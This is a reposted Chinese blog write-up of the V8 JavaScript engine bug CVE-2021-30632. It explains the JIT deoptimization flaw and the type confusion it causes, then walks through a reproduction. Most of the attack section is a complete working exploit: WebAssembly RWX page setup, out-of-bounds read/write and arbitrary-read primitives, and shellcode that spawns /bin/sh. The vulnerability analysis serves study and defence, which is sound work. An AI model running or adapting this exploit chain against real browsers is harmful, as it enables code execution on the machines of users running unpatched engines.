首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

v8漏洞CVE-2021-30632复现

  • 25-04-17 20:01
  • 4644
  • 10267
juejin.cn

CVE-2021-30632复现

securitylab/SecurityExploits/Chrome/v8/CVE-2021-30632 at main · github/securitylab

参考:chrome v8漏洞CVE-2021-30632浅析 - FreeBuf网络安全行业门户

(ps:好像确实用kexue上网也不行,就算比较稳定也总有问题,还是直接用服务器好)

PropertyCellType::kConstantType

PropertyCellType 是 V8 内部的一个枚举类型,用于描述属性单元格的类型。

常见的枚举值包括:

  • kMutable:属性值是可变的。

    ini
    代码解读
    复制代码
    const obj = { value: 42 }; obj=2
  • kConstant:属性值是常量,不会发生变化。

    ini
    代码解读
    复制代码
    const obj = Object.freeze({ value: 42 });
  • kUndefined:属性值为 undefined。

    ini
    代码解读
    复制代码
    const obj = { value: undefined };
  • kConstantType:属性值是常量类型(即类型和值都不会发生变化)。

    ini
    代码解读
    复制代码
    globalThis.PI = 3.14159; // 全局常量

kConstantType 表示属性单元格的值是 常量类型,即该属性的值和类型都不会发生变化。这种类型的属性单元格通常用于优化全局对象或原型链上的常量属性。

全局变量store和load

全局变量store和load解优化条件

store
  • 全局变量属性的类型发生变化
  • 全局变量Map由stable变为not stable
  • 传入store参数的Map和前面不一致
load
  • 优化时刻MapA为Stable,后面修改MapA为MapB

类型混淆

利用过程

scss
代码解读
复制代码
function store(y) {    x = y; } function load() { return x.b; } var x = {a : 1}; var x1 = {a : 2}; var x2 = {a : 3}; var x3 = {a : 4};   // all has mapA, stable ​ %PrepareFunctionForOptimization(store); store(x2); ​ x1.b = 1;           // x1 has mapB, stable                    // x x2 x3 has mapA, not stable %OptimizeFunctionOnNextCall(store); store(x2);          // optimizatiin,x has MapA in store ​ // x此时为 mapA, not stable。执行x.b=3。将变为MapB,stable // 无法命中store解优化的个条件,因此store不会解优化 /* 1. 全局变量属性的类型发生变化 2. 全局变量Map由stable变为not stable 3. 传入store参数的Map和前面不一致 不命中: 4. 回顾前面,需要通过"="赋值才会触发PropertyCellType类型修改。不命中。 5. 由not stable变为stable并非stable变为not stable。不命中。 6. 并非调用优化函数,而是对x的属性做修改,不命中。 */ x.b = 3;        // x MapB stable ​ %PrepareFunctionForOptimization(load); load();         // x has mapB %OptimizeFunctionOnNextCall(load); load();         // x has mapB in load ​ /* 用jit打败jit的精髓之处就在这里了。 :) 此时x为 MapB stable,x3为MapA not stable。 回顾上面解优化条件: store: ​ 1. 全局变量属性的类型发生变化。不命中。 2. 全局变量Map由stable变为not stable。命中。 3. 传入store参数的Map和前面不一致。x3 x2均为MapA,不命中。 load: 4. 优化时刻MapA为Stable,后面修改MapA为MapB。命中。 ​ 总结起来看,store(x3)命中store解优化条件2和load解优化条件1。那么第51行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化,x3按照优化代码的逻辑赋值给了x,x变为MapA not stable. 为什么没有解优化呢?原因是所有的解优化条件对于已经优化的代码store是不生效的,只对没有编译的bytecode生效。 用jit打败jit,用魔法打败魔法。 :) */ store(x3); ​ // x 此时真实为MapA, not stable。而load优化的代码中,x为MapB stable,类型混淆,执行56行将导致crash。 %DebugPrint(load());

验证

scss
代码解读
复制代码
function store(y) {    x = y; } ​ function load() {    return x.b; } ​ var x = {a : 1}; var x1 = {a : 2}; var x2 = {a : 3}; var x3 = {a : 4}; ​ %PrepareFunctionForOptimization(store); store(x2); x1.b = 1; %OptimizeFunctionOnNextCall(store); store(x2); x.b = 3; ​ %PrepareFunctionForOptimization(load); load(); %OptimizeFunctionOnNextCall(load); load(); ​ store(x3); ​ console.log("x================="); %DebugPrint(x); console.log("x1================="); %DebugPrint(x1); console.log("x3================="); %DebugPrint(x3); %DebugPrint(load()); // x和x3是同一个map都是not stable // x1是stable

过程简述

在 JIT 优化过程中,store 函数被优化为假设全局变量 x 的Map是 mapA,随后 x 的Map被修改为 mapB,但 JIT 编译器未能正确触发解优化;接着 load 函数被优化为假设 x 的Map是 mapB,但当 store(x3) 被调用时,x 的Map又被改为 mapA,而 load 函数仍基于 mapB 的假设执行,导致类型混淆,最终引发崩溃或安全漏洞。

漏洞原因(简而言之,优化和解优化的想当然一致,优化太易利用且解优化考虑不周,只考虑效率没考虑安全)

  1. 解优化条件未命中:

    • store 函数的优化假设 x 的 Map 是 mapA,但在运行时 x 的 Map 变为 mapB。
    • 理论上,x 的 Map 发生变化应该触发 store 函数的解优化,但由于解优化条件未命中,解优化未发生。
  2. JIT 优化的局限性:

    • JIT 编译器对对象形状的假设是基于静态分析的,无法完全覆盖所有动态变化的情况。
    • 当对象的 Map 发生变化时,JIT 编译器可能无法及时检测到这些变化,导致优化代码继续执行,从而引发类型混淆。
  3. 类型混淆(Type Confusion) :

    • load 函数被优化为假设 x 的 Map 是 mapB,但实际上 x 的 Map 是 mapA。
    • 这导致 load 函数访问 x.b 时读取了错误的内存地址,进而导致崩溃或安全漏洞。

修复方法

  1. 全局变量必须是stable才会进行优化。
  2. store优化后,如果map变为not stable,将解优化。

修复的原理:修复后,store不会进优化,从而修复漏洞。

POC

(我用这个仓库的代码一直不成功,可能是系统版本不同?但是用文章中的代码,调试几次就成功了)

ini
代码解读
复制代码
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var module = new WebAssembly.Module(code); var instance = new WebAssembly.Instance(module); var main = instance.exports.main; ​ function foo(y) {  x = y; } ​ function oobRead() {  //addrOf b[0] and addrOf writeArr::elements  return [x[20],x[24]]; } ​ function oobWrite(addr) {  x[24] = addr; } ​ var arr0 = new Array(10); arr0.fill(1);arr0.a = 1; var arr1 = new Array(10); arr1.fill(2);arr1.a = 1; var arr2 = new Array(10); arr2.fill(3); arr2.a = 1; ​ var x = arr0; ​ var arr = new Array(30); arr.fill(4); arr.a = 1; var b = new Array(1); b.fill(1); var writeArr = [1.1]; ​ for (let i = 0; i < 19321; i++) {  if (i == 19319) arr2[0] = 1.1;  foo(arr1); } ​ x[0] = 1.1; ​ for (let i = 0; i < 20000; i++) {  oobRead(); } ​ for (let i = 0; i < 20000; i++) oobWrite(1.1); foo(arr); ​ var view = new ArrayBuffer(24); var dblArr = new Float64Array(view); var intView = new Int32Array(view); var bigIntView = new BigInt64Array(view); b[0] = instance; var addrs = oobRead(); ​ function ftoi32(f) {  dblArr[0] = f;  return [intView[0], intView[1]]; } ​ function i32tof(i1, i2) {  intView[0] = i1;  intView[1] = i2;  return dblArr[0]; } ​ function itof(i) {  bigIntView = BigInt(i);  return dblArr[0]; } ​ function ftoi(f) {  dblArr[0] = f;  return bigIntView[0]; } ​ ​ dblArr[0] = addrs[0]; dblArr[1] = addrs[1]; ​ function addrOf(obj) {  b[0] = obj;  let addrs = oobRead();  dblArr[0] = addrs[0];  return intView[1]; } ​ function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]);  oobWrite(i32tof(addr,addr1));  return writeArr[0]; } ​ function writeShellCode(rwxAddr, shellArr) {  var intArr = new Uint8Array(400);  var intArrAddr = addrOf(intArr);  console.log("intArray addr: " + intArrAddr.toString(16));  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16)); ​ [elements, addr1] = ftoi32(addrs[1]);  oobWrite(i32tof(intArrAddr + 0x20, addr1));  writeArr[0] = rwxAddr;  for (let i = 0; i < shellArr.length; i++) {    intArr[i] = shellArr[i]; } } ​ var instanceAddr = addrOf(instance); var elementsAddr = ftoi32(addrs[1])[0]; console.log("instance: " + instanceAddr.toString(16)); console.log("elements: " + elementsAddr.toString(16)); var rwxAddr = arbRead(instanceAddr + 0x60); console.log("rwx page address: " + ftoi(rwxAddr).toString(16)); var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5]; ​ writeShellCode(rwxAddr, shellCode); main();

如果有时间,我会研究一下怎么在Chrome浏览器上复现。

注:本文转载自juejin.cn的BenSmith的文章"https://juejin.cn/post/7462654603399364617"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2491) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

143
阅读
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top